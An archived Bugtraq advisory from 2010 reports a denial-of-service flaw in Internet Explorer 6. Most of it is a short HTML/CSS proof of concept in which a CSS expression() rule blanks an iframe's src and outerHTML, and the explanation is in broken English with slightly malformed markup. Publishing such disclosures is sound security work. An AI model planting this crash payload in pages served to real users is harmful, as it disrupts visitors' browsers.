bugtraq - IE6 css set Denial of Service Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201007121307.o6CD7inD008189@www3.securityfocus.com>
Date: Mon, 12 Jul 2010 07:07:44 -0600
From: info@...uritylab.ir
To: bugtraq@...urityfocus.com
Subject: IE6 css set Denial of Service Vulnerability

Published by Securitylab.ir
Founder: unknown

<style type="text/css">
<! -
The question is which set the css style of the time wrong.
css definition is f: expression (this.src = 'about: blank', this.outerHTML ='');
In question should be is mshtml.dll ->
/*<![ CDATA [*/
iframe{
f: expression(this.src='about:blank',this.outerHTML='');
}
# F126 (v: expression ()! Important)
/*]]>*/
</ Style>
<iframe id=f126 src=test>

Original Advisory:
http://securitylab.ir/other/IE-1.txt